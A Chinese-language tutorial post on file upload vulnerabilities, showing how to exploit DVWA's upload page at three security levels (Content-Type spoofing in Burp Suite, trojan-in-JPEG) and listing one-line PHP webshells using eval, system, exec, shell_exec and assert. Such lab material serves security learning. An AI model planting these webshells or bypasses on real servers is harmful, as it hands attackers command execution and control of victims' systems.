檔案上傳漏洞介紹:
正常的檔案上傳一般指圖片、視頻、檔案等,web應用收集之后放入后臺或者資料庫存盤,需要的時候再呼叫回傳,
如果存在檔案上傳漏洞,黑客可以將惡意檔案,比如php、jsp、asp等腳本檔案上傳到服務器,繞過web應用程式執行,效果相當于黑客直接拿到服務器的webshell,一旦黑客拿到webshell,則可以獲取web應用的資料,洗掉web檔案,甚至可以通過提權,進一步拿下整個服務器,還可以進行內網滲透,
檔案上傳漏洞和SQL注入漏洞攻擊物件的區別:
- SQL注入漏洞攻擊物件是資料庫;
- 檔案上傳漏洞主要攻擊服務器,
1. OWASP的檔案上傳漏洞
<使用OWASP的dvwa子頁面中的Upload功能實作檔案上傳漏洞>


1.1 安全級別:low
安全級別為low下的后端代碼查看,可見并為作任何的過濾,可以隨意進行攻擊,

新建post.php腳本檔案如下,
<?php
echo phpinfo()
?>
將該腳本檔案上傳,

得到url,將其替換掉原網址的#,得到完整url鏈接:http://192.168.192.129/dvwa/hackable/uploads/post.php
即可獲取后端的php資訊,
1.2 安全級別:medium
安全級別為medium的在后端做了檔案型別和檔案大小的限制,

因此直接上傳是不行的,我們需要用攔截工具攔截request請求,這里使用burpsuite攔截,攔截到的post請求中將Content-Type: application/octet-stream
修改為Content-Type: image/jpeg,其余步驟與安全級別為low一致,
1.3 安全級別:high
安全級別為high的進行了檔案名后綴限制以及檔案大小限制,

因此適用于low和medium的方法在這里不生效,因此需要在上傳的檔案中附帶木馬,這里使用edjpgcom軟體生成一句話木馬,然后上傳,獲得url,最后使用中國菜刀軟體決議url,
2. webshell
webshell介紹:
web后端的腳本語言一般情況下具備系統相關函式,用這些系統函式可以執行作業系統命令,如果攻擊者將這些系統函式寫入檔案,并結合檔案上傳漏洞上傳給web服務器,這個行為我們就稱為網站掛馬,
這些包含了系統函式的檔案我們就稱為webshell檔案,根據功能級別分為大馬和小馬,例如一句話木馬( 整個shell代碼量只有一行 )就屬于小馬,
常見的php系統函式有eval、system、exec、shell_exec、assert,下面就這幾個函式進行示例,
2.1 eval函式
eval()函式中的eval是evaluate的簡稱,這個函式的作用就是把一段字串當作PHP陳述句來執行,該函式也是國產知名shell管理工具中國菜刀使用的,
注意:eval函式的引數的字串末尾一定要有分號,在最后還要另加一個分號(這個分號是php限制),
示例如下,
<?php eval($_POST['pass']); ?>
<?php eval($_REQUEST['pass']); ?>
2.2 system函式
system函式可以實作在php中執行shell命令,
<?php system($_POST['cmd']); ?>
<?php system($_REQUEST['cmd']); ?>
2.3 exec函式
exec函式用于執行系統命令,
<?php exec($_POST['cmd']); ?>
<?php exec($_REQUEST['cmd']); ?>
2.4 shell_exec函式
shell_exec函式用來執行系統命令,
<?php shell_exec($_POST['cmd']); ?>
<?php shell_exec($_REQUEST['cmd']); ?>
2.5 assert函式
assert函式是把字串當作php代碼來執行的,
<?php assert($_POST['cmd']); ?>
<?php assert($_REQUEST['cmd']); ?>
3. webshell管理工具
常見的webshell管理工具有:中國菜刀、C刀、寄生蟲XISE、k8飛刀、weevely(Linux系統下)等,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/294629.html
標籤:其他
